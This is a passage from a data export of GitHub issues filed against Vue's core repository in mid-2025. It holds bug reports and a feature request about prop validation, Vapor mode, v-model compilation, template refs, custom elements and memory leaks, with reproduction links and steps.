[play.vuejs.org/](https://play.vuejs.org/#eNqFkl9PwjAUxb/KTV+ABDYjxgcYJGpI1AclYuJLEzO3yyh2bdN2iCH77t4V+aMx+LK095ze/W5PN+zKmGhVIRuwxGVWGA8OfWVApqoYceYdZ2OuRGm09XCLUuoXbWUOc6tLaEXxodS0aQ254irTynkoXQEjmH2Wb1q2O0OIY0h6ve8CmNQ5zEGQE9Mc9Byct0IVXCXxFoR+SxuPpZGpR9oBJEcAA+pPgPQlwuSIg5xJfHSMdWkKQpqLIlo6rWjUTdOMs0yXRki0j8YLQuZsAEFptJTafdyHmrcVdnf1bIHZ+x/1pVs3Nc6mFh3aFXK213xqC/RbeTJ7wDWt92Kp80qS+4T4hE7LqmHc2q4rlRP2kS/Q3oWQ6A6f3WTtUbndUA1o46yDnzMK6ubE6AfcfnQRznFV0y3+jPqfF5PjXCicWm1cEjpTUIN9xvW43TmddC5WYQGw2YSnVBMF1eOt8Dvh1xXaZl6i6keX0VkvlWaRRues/gK3ffem)


### Steps to reproduce
### Version

- Vue 3.5.17 (Vite 7, created via `npx create vite@latest` using `vue` template)
- Vue 3.6.0-alpha.2 (SFC PlayGround)

### Reproduction

Only in **development mode**, the following code will **crash at runtime** due to an unhandled `TypeError`.

```vue
// src/components/HelloWorld.vue
<script setup lang=""ts"">
defineProps<{ msg: string }>();
</script>

<!-- src/App.vue -->
<script setup lang=""ts"">
import HelloWorld from './components/HelloWorld.vue';

const msg = Symbol(); // Intentionally wrong type
</script>

<template>
  <HelloWorld :msg=""msg"" />
</template>
```

### What is expected?
Vue should log a prop validation warning, such as:
```
[Vue warn]: Invalid prop: type check failed for prop ""msg"". Expected String with value ""Symbol()"", got Symbol with value Symbol.
```

### What is actually happening?
Instead, in dev mode, it throws a runtime error an... [TRUNCATED]",,2025-07-26T10:10:48Z,2025-07-26T12:52:50Z,1
vuejs/core,3260133002,Performance tracing gradually slowing down Firefox,"### Vue version

3.5.18

### Link to minimal reproduction

https://jsfiddle.net/a2o6h7mp/ (with Quasar)

https://jsfiddle.net/2f1g56uo/ (with Vue only)

### Steps to reproduce

- open repro in Firefox
- click Update button a bunch of times
- watch the time it takes to update getting longer and longer

### What is expected?

- each update take roughly the same amount of time

### What is actually happening?

- each update is getting slower and slower

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
Browsers:
    Firefox: 140
```

### Any additional comments?

_No response_",:hammer: p3-minor-bug,2025-07-24T14:35:00Z,2025-07-25T00:48:58Z,0
vuejs/core,3259396032,Multiple v-else directives silently ignored after v-if,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkU9LxDAQxb/KmEsV1l10PS1dwT8L6kFFBS+5lHZas6ZJSNJaKP3uTlJ27UGWvSXv/RjevOnZjTHztkG2YqnLrTAeHPrGXHMlaqOthx4sljBAaXUNCaEJV1zlWjkPtatgHfzT5AGl1PCprSxOkjOu0sU4jgbRx2NtZOaRfgBpIVpoz0W55qzMpEPOog5wT8ZFRBbETGEkbAJdHgMtj4GuplC6mARlM+Yd7VmKar51WlFFfYA5y3VthET7YrygHjhbQXSCl1ENP09R87bB2U7PvzD//kffui5onL1adGhbKmPv+cxW6Ed78/6MHb33Zq2LRhJ9wHxDp2UTMo7YbaMKij3hYtrHeGihqg+36Twqt1sqBA3kEHnO6Ph3B1b/i7ucx1oHrgY2/AIArsUU

### Steps to reproduce

Add an element with a `v-if` condition.

Add a `v-else` element right after it.

Add one or more additional `v-else` elements after that.

Only the last `v-else` is recognized. The rest are silently ignored.

### What is expected?

This syntax should either:

- throw a compile-time error, or
- 
- trigger a warning, or
- 
- at the very least, be caught by the Vue ESLint plugin as invalid usage.

Allowing multiple `v-else` blocks after a single `v-if` is logically invalid and likely always unintentional. It can lead to subtle bugs and confusion during development.



### What is actually happening?

No errors or warnings are shown. Only the last `v-else` is used, and the rest are ignored without any indication.

This makes it easy to introduce bugs, especially in larger templates or when components are modified over time.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-07-24T10:31:38Z,2025-07-25T00:30:06Z,0
vuejs/core,3255223885,v-model on reactive objects generates invalid assignment code causing rolldown build failures,"### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/~/github.com/Ray-D-Song/vue-reactive-re-assignment

### Steps to reproduce

```bash
pnpm build
```

### What is expected?

The application was successfully built.

### What is actually happening?

The app can run in dev mode, but the build will fail.
```log
✗ Build failed in 279ms
error during build:
Build failed with 1 error:

[ILLEGAL_REASSIGNMENT] Error: Unexpected re-assignment of const variable `form`
    ╭─[ src/App.vue:20:68 ]
    │
 11 │ const form = reactive({
    │       ──┬─  
    │         ╰─── `form` is declared here as const
    │ 
 20 │       ""onUpdate:modelValue"": _cache[0] || (_cache[0] = $event => ((form) = $event))
    │                                                                    ──┬─  
    │                                                                      ╰─── `form` is re-assigned here
────╯
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10) arm64 Apple M1 Pro
    Memory: 91.20 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.3.0 - ~/.nvm/versions/node/v24.3.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v24.3.0/bin/yarn
    npm: 11.4.2 - ~/.nvm/versions/node/v24.3.0/bin/npm
    pnpm: 10.12.4 - ~/.nvm/versions/node/v24.3.0/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.168
    Safari: 18.5
  npmPackages:
    vue: 3.5.18 => 3.5.18
```

### Any additional comments?

The core reason is that the Vue compiler generates code simila... [TRUNCATED]",,2025-07-23T07:28:32Z,2025-07-23T08:16:31Z,4
vuejs/core,3254942603,Memory leak on nuxt,"### Vue version

between 3.5.14 and 3.6

### Link to minimal reproduction

X

### Steps to reproduce

X

### What is expected?

All informations is here https://github.com/nuxt/nuxt/issues/32240 ;-)

### What is actually happening?

X

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-07-23T05:37:32Z,2025-07-28T00:12:53Z,2
vuejs/core,3254221437,[Vapor] SVG elements with `v-for` are not rendered correctly,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/Suz3itJS2lX2pBdCRAHOADi62QJuek0MXVty3ZCKtT/zjglCQeET2/mPY+fn/3OzqxNmxpZxnJfOGkDeAy1hUZY40AJXf7jLHjO/nOdTw4SglQE3FolAlIFkPumhOxNrkJF+tliyhlkFcqyCkPtw04hVUtRbEpnar3KQBuNp7BW2GZwfNqdArTy8hMQ/JUkPX7yUpdEQpOsjaNREqSGBW2DpUOx8b0wSZJxwDiLCiU1QntMe6OlXQSduXY2+NxF+OnYmU20/Hs6HetkJXwlnBM7YuYwJ2Iynjbpj+sRpdZElE++JMaOKNTC6LUs01dvNOX/HsWcFWZrpUJ3a4M0moLPoGMiJ5Qyb9ddL7gaj/p+UWGx+ab/6tvY4+zOoUfXIGcDF4QrMRzoy4cbbAkP5NasakXqH8h79EbV0eNBdk7vSba/6Dq3V1v6R4Ge7dFftgG17y8VjUblvtNzRp/w4oerj3ZP0nm3j+s9pfjSoIszKcCT9E86TYSylUhnkQr+eSAX6V8ilxgE238A9QjoCg==

### Steps to reproduce

Open REPL

Replace `<g>` with `<g v-for=""i in 5"">` (and add a key if you want

### What is expected?

See dotted black line

### What is actually happening?

No dotted black line

### System Info

```shell

```

### Any additional comments?

_No response_",":sparkles: feature request,scope: vapor",2025-07-22T22:11:22Z,2025-11-10T06:13:21Z,4
vuejs/core,3251637357,[Vapor]There was an error returning to the normal page from the Vapor page,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-wvzthfnn?file=src%2Fcomponents%2FvaporPage.vue

### Steps to reproduce

1. First click the ""Vapor Page"" button, the page displays ""Vapor page""
2. Switch and click the ""common page"" button again, an error message appears

### What is expected?

When you click on ""common page"" in the second step, the page should be the same as the first time you enter. It should display the content ""common page""

### What is actually happening?

Nothing to display. An error occurred

<img width=""2401"" height=""451"" alt=""Image"" src=""https://github.com/user-attachments/assets/0bd37b9f-d14f-4853-aa4d-7fa1370f714b"" />

### System Info

```shell

```

### Any additional comments?

The problem can be solved by removing the vapor tag in vaporPage.vue. ",,2025-07-22T08:19:47Z,2025-07-22T09:53:52Z,1
vuejs/core,3251054745,An error occurred in <template> after the update,"### Vue version

3.0.2

### Link to minimal reproduction

https://github.com/shshouse/core.git

### Steps to reproduce

<img width=""1498"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/9915a033-fbb8-406c-8bfd-8a5ba2c4ed9d"" />
When in vscode, an error will always be displayed in front of the <template> tag, and the only way to solve it is to roll back the version.

### What is expected?

Please add the vueCompilerOptions configuration to specify the global type path.

### What is actually happening?

an error will always be displayed in front of the <template> tag

### System Info

```shell
win11,vscode
```

### Any additional comments?

in vscode",,2025-07-22T04:55:39Z,2025-07-22T06:01:19Z,1
vuejs/core,3248492407,Arco Design tooltip position bug that occurs when upgrading from Vue 3.4 to Vue 3.5,"### Vue version

3.5.17

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-guxybnha?file=index.html,package.json&terminal=dev

### Steps to reproduce

1. Install dependencies:
```bash
npm i
```

2. Start the development server:
```bash
npm run dev
```

3. Open your browser and navigate to `http://localhost:3000`

4. Hover over any element with a tooltip in the table

5. Observe that the tooltip appears at the wrong position (usually at the last element)

### What is expected?

Tooltip appears at the right position

### What is actually happening?

Tooltip appears at the wrong position

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-21T12:35:33Z,2025-07-21T12:48:50Z,1
vuejs/core,3247791630,"When a composite prop is passed in, the watcher will be triggered incorrectly","### Vue version

^3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VFGP0zAM/ismL+3EaIXgaXQD7nQSIAGnA4mXvpTW63qXJlWSbkNV/zuOs+66E1yfEvuz/fmL3UF87Lpk36NYicyWpukcWHR9t8lV03baOBjA4BZG2BrdQkTQ6Oy61m13siepv/hM0btZqFZfda8cVhcJ5gi7K6TUh7snNQiSq1Ir66C1Naw9iTj6hISFX9rI6kW08JA0hYDSxDyghpE8c+NjieDjqDOzOF7AegMDW31Esi9kjxQ3jGzzIVkaxCFZ6OKw7WThkG4A2e715tagtfC7d04r0AYa1fUkpG4RHB5dkqUEYvAJ86GUTfmwzkUo7lt8uYZoedFgLjbDwL5xzNIQecpiIA2nUGn/qtUVSspH6Fywk938QitqqtGKvNQk0OeJXRUWv3duBVG0DFaFh2uttk298ip423hKlaWzjsVSOEvyEjC5t1rR5HDaXJRUrJFoKC2Vs7lYeVV96lzwC3xhmzM9nkpSzA7Lh3/Y7+3R23LhpUWzx1ycfa4wNbrgvvnxjQSeOUmIXhL6GecdWi17zzHArnpVEe0Zjtl+5hFtVP3T3hwdKjs15YmyPIzPBc2r1/l/rT/SfZO8DbKqkVScFubp6oEsVE2P5SjNfA0PhSt305Jw1VzwmkzT3hndWZrbCreNwlt/y5hFeP8VFOoPBYybeMFxnDD2gDCFHJ8EMLcW0yYsQctq2hDfkK+lJSZS13HEKd5PX7SEcwRV8OiCRHFx5ExT12joP+B2GDpB4zeY1Qh0ntuxqtnzwZdvOzalwXY5m+Nfo/CZOQ==

### Steps to reproduce

A component passes in an object, part of which is a reactive value (defined by `shallowRef` or `ref` ), watch the props in the component, and every time the page element is updated, the watcher in the component is triggered

```js
const opt = ref({})
```
```html
  <Comp :option=""{
    someBaseOpt: '',
    newConfig: opt
  }"" />
```
```js
watch(
  () => props.option,
  (val, old) => {
    console.log('watch?????????', val, old);
    alert('triggered the watcher')
  }
);
```

I think this may be a bug

### What is expected?

Only triggered when props actually change

### What is actually happe... [TRUNCATED]",,2025-07-21T09:04:48Z,2025-07-21T13:19:04Z,3
vuejs/core,3246716047,[Vapor] fallback slot content not rendered if content is comment,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U01P4zAQ/SuzvnAh6WpZ7aHKVtpFIMEBEHC0hNxk2po6tmU7oRLqf2dsN2n5EJw4xZ558/xm5uWZ/bO27DtkU1b9KAo4F0rNRb0G6cGhbtBhA1KDNrrohTUOWtMgzLsAtWlb1CEiO08o4SmkQwppOAAXxYxrrhN/5WsnbQCPobOznHoVy4UUlS19A5yupGpg4UwLR+Uk3aLeIyqb5LpMHrC1SgSkG0DVyD4d6DifLYaenoxb+9fiplBN5gM0sc+q/EommmSm96TawMj7JSN1vpsWNfwN/EPz0Bdy8Zez4Drk7N2744w+knCQ5pods+Bpmwu5LB+90WSP5wjmjPisVOiubZBGe86mkDIxR3rN02WKRQXHQ7xeYb3+IP7oNzHG2Y1Dj64nzWMuCLfEkNNnd1e4ofOYpDl0itCfJG/RG9VFjRn2v9MNyT7AJbUXyWVSL+/92Ya864em0ggJuU14zshzp5+0vpd7Uv5OdVxvaYqjYYcfbG/Unfn3u9sZn1birdDDir0yYbQweT5e8952qLeLe+jRxTboxZPyT/mzEMquRPmLbV8Af4xIXg==

### Steps to reproduce

Observe that in initial state (vapor mode active), the comment is considered as the content of the slot.

If `vapor` is removed from the components, the comment is not considered and the fallback content is rendered.

### What is expected?

A slot content containing only comments should trigger the fallback content to render.

### What is actually happening?

The comment is considered as the slot content in vapor mode, resulting in the fallback not being rendered.

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2025-07-20T21:38:47Z,2025-10-22T09:20:23Z,1
vuejs/core,3246508833,[Vapor] useCssVars (style v-bind) doesn't work with vapor,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqVU2tr2zAU/SsXbyMuJG7ajn3w0sAe/bCxF10HGxhWxbpO1cqSkGQ3I/i/70q2k8DWQm2wru85ks59bZM3xmRtg0meLFxphfHg0DcGJFPr8yLxrkigZUbbZaEKL2qyPGxBq8+6UR75lMwfqh5/LFZTaBxeYW0k83iJFXRQWV3DhK6ZvKZT6JxSK+dBYuXhPOxJJ3OzmRwFdMC8Nv9ABFaNKr3QCmrdYootKp8DSXF4EeyjHFotOGwDt/ARz4yN63usWCN92t9S+HB71jLZIF10/XwLPbuUgpaf0JnN9cAkLQ8Sf+2JXS9xl5o0PYLz5aiF67Kpwz7GedT6STiPCm06MVoQ33J9rybTGFmvsRujPkjxA4daDNuecu7iuK93qKta+KFescoLLtrl4jh8A+8QUwvn/0gEV2qDPLKJNspZsfJubUkon5VaapvDs7MyvEMiV9pytDPLuGhcDifz+YsBuRfc3+RwSrUePMwZLD1xqdxEHUthmXKVtnUO0Qy60tkJbZtCXMbq9okrvNFOhIbJga2clo3HfVGpWWYroXhK9mFX7PzhZ0hZTFgIfZlMaSqoSSuxzm6dVjQ6FD5AkZS6NkKi/WrCjTQ5eUgM0FMkTEp9/zH6vG1wOvrLGyzv/uO/dZvgK5JvFh3aFotkh3lm1+h7+OL7F9yQvQNrzRtJ7EfAS4yZII097S0VjGQf8KLaD3HYhVpfuYsNtZQbgwpCA7OL/CKhwX73SOh7uWfZy7ivUB1l8XeLNpxJCTzLXmXzGZPmhmWnSfcXxlKa8g==

### Steps to reproduce

1. click/touch anywhere in preview to move the small dot to your cursor
2. add `vapor` to the component's script
3. click/touch again anywhere in the preview

### What is expected?

the dot should move to the cursor position to the click/touch location in vapor mode just like in normal mode.

### What is actually happening?

1. the dot doesn't move
2. the following warning is printed to the console when the component is mounted :
```
[Vue warn]: useCssVars is called without current active component instance. 
```

### System Info

```shell

```

### Any additional comments?

The issue ... [TRUNCATED]",scope: vapor,2025-07-20T16:52:41Z,2026-03-12T13:11:48Z,2
vuejs/core,3246479977,[Vapor] useTemplateRef prints a warn when updated,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v1DAQ/SvTXLIrbbOUIg5LsghQJeAAqFTiEgm5ySRxcWzLH+miKP+9Y2fTdqWql8Se9+b5vbHH5JPW2eAx2SW5rQzXDiw6r2FgWpl9KXlPfwcjeIs32GvBHF5jswETPpXqtXdYwwSNUT2kJJV+KGUpKyWtg962UATqKv2KQij4o4yoz9L1QnDcCSTKqfoqjfV0TVIzz3bq/qjkjMcALFDHLLUQuJhZrdZQ7GfpbGDCI5wVBUgvROjLt3NQCkcbdzyVdgC5YLcooFGmKJOqw+rfrTqUyd6ptiWbUTHfRtLM55JOBPdf40kDDOe9qlFQMRinAq9PCNu5vbsIiQiJyrGPh+3ctB/HOMBpyrfdRbQLIW3ogR2M4zH5R0jDTFKqpQ0TFtNpCjGfRUs2ibM0roa32Z1Vkq57DGrkiYbGBZqf2nEaZ5mQcEACxujG7r/HWjhgs9Rjjhfqd5ai7Wjxy6BFM1CiR8wx06Kb4avfP/BA60eQhuVD/lfAa7RK+OBxpn32sibbz3jR7bf4XLlsb+zVwaG0S6hgNDCnyC8TeqhfXon+ZPcyexf7SjnRFP8OaIImDfAye5+9OWdCdyx7m0wPeYAZ7Q==

### Steps to reproduce

1. open and clear the browser console
2. toggle the checkbox
3. check the console for warnings

### What is expected?

no warning should be printed to the console

### What is actually happening?

Using `useTemplateRef` in a vapor component will trigger a warning each time the ref's value is updated (when the refed element is unmounted via v-if for example).

sample warning : 
```
[Vue warn] Set operation on key ""value"" failed: target is readonly. 
Object { subs: {…}, subsTail: {…}, flags: 17, __v_isRef: true, __v_isShallow: true, _rawValue: h1, _oldValue: null, _value: h1, _wrap: undefined }
```

### System Info

```shell

```

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: vapor",2025-07-20T16:08:41Z,2025-11-18T06:04:17Z,3
vuejs/core,3246475989,[BUG - Build] - Main Built JS added to commented HEAD (first occurrence),"### Vue version

3

### Link to minimal reproduction

NoNeedLink.explanantion

### Steps to reproduce

1. Create a index.html entry file with a first HEAD section.
2. Run ""vite build""
3. The main.js file is added in the commented HEAD creating a blank site when it is deployed or previewed.
4. WORKAROUND: Delete First Commented HEAD or place it after

### What is expected?

1. Create a index.html entry file with a first HEAD section.
2. Run ""vite build""
3. The main.js file is added in the commented HEAD creating a blank site when it is deployed or previewed.
4. WORKAROUND: Delete First Commented HEAD or place it after

### What is actually happening?

The first commented HEAD section is taken as the real HEAD section.

### System Info

```shell
No need.
```

### Any additional comments?

Thanks to the devs for the project! First contact with it but really nice to have!",,2025-07-20T16:02:32Z,2025-07-21T02:51:12Z,2
vuejs/core,3245244047,Detached elements are generated under certain circumstances,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9Ustu4zAM/BWtLk2Aro1m95R1gn2gh93Dtmh71MV16FStLBl6uAEM/3tJyXFc9HGyzBmSwyF7/qttsy4AX/PCQ9Oq0sNWaMaK++C90exnpWT1tBG8k07eK2Ab9mV8Cr4dX+u+Z0d8GIo85WKdWOmPadoL1n2V9akM5hKG6E5243Okrlh+ChB6UeRz0mpMnIJFHjvgu8hnM+Cvq6xsPXPgQ8tUqfcowLvYWzatsZ71zELNBlZb0zBUF1DZjwlNyiN2lqUuZNbZK8LqFWE1EoSujHZ+smVDjRbeBlhifaFR051swAS/WCzZZst6GmVkZ12pAuXUpXIg9LCk2dI0qJ2f4xRYvpb77NEZjcuL2YJXqEAqsFetl9he8HWqS1iplHn+F2Mk4/wYrx6genon/ugOFBP82oID26EzE+ZLuwef4Mvb/3DA9wQ2Zhdow5+AN+CMCqQx0X4HvUPZM15U+ze6LPX+zl0ePGh3HIqEEnOI/Lg3Mv+j0U9yv2XfYx56ii5OG317/g90T/HOnDJ+i+7TJ51bxGa3NlaKq3+nUjroOX94AStBIck=

### Steps to reproduce

1. Open DevTools and navigate to the ""Memory"" tab.
2. Check for detached element h1.

### What is expected?

Detached h1 shouldn't show up in the memory profile.

### What is actually happening?

Detached h1 shows up in the memory profile.

### System Info

```shell
Win11 Chrome 138.0.7204.158
```

### Any additional comments?

Strangely, if I remove some content in the slot, the problem disappears ([Playground](https://play.vuejs.org/#__PROD__eNp9Uslu2zAQ/RWWl9hAKiFuT65sdEEO7aEJkhx5UeSRw4QiBS6KAUH/nhlSlhxkOWnE9+bNm6Xnv9o26wLwNS88NK0qPWyFZqy4D94bzX5WSlZPG8E76eS9ArZhX8ZQ8O0YrfueHfFhKPKUizpR6Y9p2gvWfZX1LIO5hCG6k90YjtQVy+cHQi+KfCbNcZFHYYyL/MQ6/rrKytYzBz60TJV6j3W9iyVl0xrrWc8s1GxgtTUNQ1MBDf2Y0GQ4YmdZqkIzOntFWL0irEaC0JXRzk/T2FChhbcBlqgvNHq6kw2Y4BeLJdtsWU+tjOysK1WgnLpUDoQeltRb6ga983PsAuVruc8endG4s5gteIUOpAJ71Xq... [TRUNCATED]","scope: compiler,:exclamation: p4-important",2025-07-19T11:38:29Z,2025-07-23T00:36:16Z,0
vuejs/core,3242365718,Effect cannot track ref in scope,"### Vue version

3.6 alpha 1

### Link to minimal reproduction

https://play.vuejs.org/#eNq1Uk1v1DAQ/SuDL0mlNKEq4lCyKwFaCTgAokhcLKEoO8mmOLZlO9mVovx3xrZ2SennpYdE9sx7nufnN7H3WufjgOyKlbY2nXZg0Q16zWXXa2UcTLBpGqzdda00wgyNUT0kREneLTD7ytW7CHwQY7C51eOSy1pJ66C3Lax8P00+oRAKfikjtq+SMw/hcnF4mp7Bag0TlwCRa4OuFUjcL5WmgQtQFAGnBOZCtWlCo/KxEjQ+82PjmrAQD8rNIJcz4pQTe6HkDn+mv//KIhpJFtLGYa9F5ZB2AOXuYj1N4brzXBa0C9VO6sHBeN6rLYoVZ9TnDApqlsWCzzLmSKRsuja/sUrSmwWNnNWq151A8027juRydnVUz1lFfu6/hJozA2bHer3D+s899Rt78DXOvhu0aEbk7NRzlWnRxfbm+iseaH1qkvpBEPqR5g8kKwevMcI+DHJLshe4oPZzSEwn2592c3Ao7fFSXmiwOuA5oxR9fOTq/+Re5m8Cj16IXPScp0IfXvo5cc/u5JqAzwp2OCQlSAYxcf8H9VbEXi5Z5MjvEY13mRy5zN/mr88roXdVfsHmv9GFYVs=

### Steps to reproduce

1. Enter text and check console.log
2. Switch between 3.5 and 3.6 versions


### What is expected?

Effect track ref in scope

```typescript
watchEffect(() => {
  const scope = new EffectScope()
  scope.run(() => {
    console.log('watchEffect', msg.value)
  })
})
```

### What is actually happening?

Effect cannot track ref in scope

### System Info

```shell

```

### Any additional comments?

_No response_","scope: reactivity,:exclamation: p4-important,regression",2025-07-18T08:23:20Z,2025-07-18T09:18:50Z,1
vuejs/core,3236286606,Replace lodash with es-toolkit/compat for smaller bundle size and better tree-shaking,"### What problem does this feature solve?
Currently, Vue core uses lodash in some internal utilities. While lodash is a powerful and widely used library, it has a relatively large footprint and does not tree-shake well, especially when full imports or deep utilities are used.

In modern JavaScript projects, bundle size is a major performance concern, particularly for frontend libraries. In one of my recent projects, lodash was contributing around 145kb to the final bundle after minification.

es-toolkit is a lightweight, modular alternative that offers tree-shakable utility functions with a similar API to lodash. Migrating to es-toolkit/compat can reduce bundle size and modernize the dependency stack with no changes to developer-facing APIs.

This change could help Vue align better with modern ecosystem practices and further optimize its performance for end users.

### What does the proposed API look like?
The migration would be internal only — swapping out lodash utilities with es-toolkit/compat equivalents. No public API changes are involved.

Here is a simple example:

```ts
// Current
const uniq = require('lodash.uniq')

// Proposed
const { uniq } = require('es-toolkit/compat/uniq')
```
This keeps the usage pattern the same while replacing the underlying dependency.
Tests will be run to ensure behavior consistency. I'd be happy to raise a PR and evaluate the size and performance impact of this migration.

<!-- generated by vue-issues. DO NOT REMOVE -->",can't reproduce,2025-07-16T14:51:40Z,2025-07-17T01:44:53Z,2
vuejs/core,3232548106,Value is visable in html when rendering input with type password,"### Vue version

3.4.28

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1PwzAM/StRLt2kqkjAAU0TEqAd4AAIOEZCVettGZkTJU5XNPW/42R07ACc/PGe7Wd7L2+cq7oIcibnofHa0bVCvXXWk9iLFpYa4c5yjIBUirUYxNLbrSi4plCoEPrMZWYdTbanFZO9QiE8YAt+MhU5SjFFj2I9KTS6SEU5AkLQp4OZKFwdws76tihHoKtNTAhBIB6cUsM02UFhcuZnR/mylBQai0u9qjbBIu+W+yvZsC5twD850haDkrNxspK1MXb3kHPkI3wP5po1NB+/5DehTzklnz0E8B0oecSo9iugA7x4fYSe/SO4tW00zP4HfIFgTUwaD7TbiC3LPuFltff5TxpXb2HRE2AYl0pC820yX0l+VnrJX6v/yL2oLseb8hXfO/CpJx+Qger8Sg5fQmK21Q==

### Steps to reproduce

in this example you can see a input of type password being rendered and it shows the value in the html


### What is expected?

Value should not be visible in the HTML.


### What is actually happening?

It started happening in Vue 3.4.28:
https://github.com/vuejs/core/blob/main/changelogs/CHANGELOG-3.4.md#3428-2024-06-14

Here's the relevant commit:
https://github.com/vuejs/core/commit/537a571f8cf09dfe0a020e9e8891ecdd351fc3e4

### System Info

```shell

```

### Any additional comments?

I originally posted this as a bug of Quasar:
https://github.com/quasarframework/quasar/issues/18064",,2025-07-15T14:38:28Z,2025-07-16T08:13:04Z,4
vuejs/core,3229921224,Odd/Incorrect behavior on checkbox v-model when wrapped in an element with an @input event handler,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UkFP8zAM/StRLnyfBK0QIKRREDBxgAMg4EYQCpu3FdIkStwyVPW/46S0Cwhxs/2enefntPzM2qypgU944WeutMg8YG1PhC4raxyyljlYsI4tnKnYFlG3joQWema0R7aSfrqSegnsOND+LaTy8J8IPTxbweztxazBf+GPTwEs8v4peoQShMoqiRAyLOZlw05LbWs8Fjwdj64GwSOJaEFgCChU8gXUmFIhdm9ygfhhgaYNagRPwUaqOqAIieAflJ3KzEElI8CnjOTxh29TBol5qrHIe/FFTrv2kT2ZfrUw6Zz8mLC2Tc3rurEpUIMj88jZGDRQinz0k29z9HSIRbnMXr3RdONWaMZoDVPZUoG7sVjSoQSnYQEJmFTKvF/FWrB8e6hHOb/UXz25NaHg1oEH19CRRgylWwL28MX9NawpHkHytFbE/gO8A29UHTT2tPNaz0l2wotqL+NPLfXywV+sEbQflop/hphd5AtOv3f6x+obuXvZfuwTuiMXnxtwYSYZuJcdZLuHvPsEI8QeJQ==

### Steps to reproduce

1. Create a form including a checkbox utilizing v-model for the value of the checkbox array.
2. Wrap in a element with an `@input` event handler that changes a ref to true to detect changes having been made and update another element on the component based on this (e.g. display the value, enable save button etc)
3. On load, click the checkbox first.

### What is expected?

When clicking the checkbox first, it should toggle the `hasChanged` value to true, and the checkbox should check adding it's value to the `checkboxes` array.

### What is actually happening?

The first click updates the `hasChanges` to true, but a second click is required to check the checkbox and add it's value to the array.

### System Info

```shell

```

### Any additional comments?

We were using this method to detect changes on a large-ish form to enable the save butto... [TRUNCATED]",,2025-07-14T20:15:59Z,2025-07-16T08:26:40Z,1
vuejs/core,3229898296,Exposed method not accessible from custom element,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqFVG1P2zAQ/iunDKmtKLFKmSaF0L0gPjBtbIJJ+0DQlCbXJjSxI9spnar8953tNE03GPnQ2r57Ht/je9l6H6vKX9foBV6oEplXGhTquppFPC8rITVcirKChRQlDHxmNn6CBjE471y2KS5yjpe10qK8KrBErscg+FdRc43pGLIxaHEbP41B4qJp2QxHxJM+SPmOaTgof58kdNdgDM9wD00YoxEF8Br+JIuT1Qsk24gDfVbucATtFiARXGn6JW2c/ODCBD3kdVG4G51Xp25I2IvZHr4jyITSNyJFwndc/jouanzvH0khtH9kXIhyh8sXMNyhevGYjzG4Qwwg07pSAWPLXGf13CdiRs/4qFgiJLJ5IeasjHPOKpIdL1ExSTHmJZ6k5KlkwuIqP3gFX6s3X86m0/5lCyFh6ESsQCxsBfi4qYT6OyzoVN6vHv4V6h+1sJTMPaEAzX7TLZvR/nUlJUVy2PbS0JyDszZj9y+RpygDcO+f2aIYE4SyFcCgAw4ssaF36QuZq3OqcNpoLKsi1kg7gLCtGkNxEXlmOYm8Wcjac+c0r7UWHD4kRZ6syO2IvJVJRTXxc54MR5EHs+uby5A5T3sR4bLT2U8hV7GkukmDkNG+tfSLtXf3af9ua3wtgNOXAghZT6g39rSi/C7ypf+oBKfet1l1t+YFym+Vzin/kRfs8h15cVGIp8/2TMsa2yQQJsNk9cz5o9qYs8j7LlGhXGPkdTYdyyVqZ766u8ENrTtjKdK6IO//GG9RiaI2MTq3T/SiFHbPz0Z7bcdTzpc/1NVGI1c7USZQWxPWP/Koh0z1vCR9H+7UP7O4iDf0ir1paObnYS2l+douALZboHaAxlZ6yJzhICPt6KWV6ReaqDSv4rqgyWogaazj/YDatcauVYg6gEnbGntRrvECuB9QSQwe7FmJOhOp6pTZYtkz6SxXpnGPj9tedXSk9aBrSPivNUrzmKR66r/1J++85g8QVwtI

### Steps to reproduce

I want to expose component method as custom element method.

### What is expected?


Method `inc` should be accessible from DOM.

### What is actually happening?

Method `inc` is not available.

It seems that you are not able to iterate over reactive object `exposed` inside mount hook.

This loop seems not to work:
https://github.com/vuejs/core/blob/main/packages/runtime-dom/src/apiCustomElement.ts#L... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-07-14T20:08:13Z,2025-07-23T00:40:41Z,1
vuejs/core,3226014340,[Vapor] Using image from public directory causes error,"### Vue version

3.6.0-alpha.1

### Link to minimal reproduction

https://the-sfc-playground-does-not-support-this-yet.com

### Steps to reproduce

1. Run `pnpm create vite vapor`
2. Create a standard Vue project
3. Change Vue version to `^3.6.0-alpha.1`
4. Change `App.vue` and `HelloWorld.vue` to `<script setup vapor>`
5. Change `main.js` to `createVaporApp(App).mount(""#app"");`

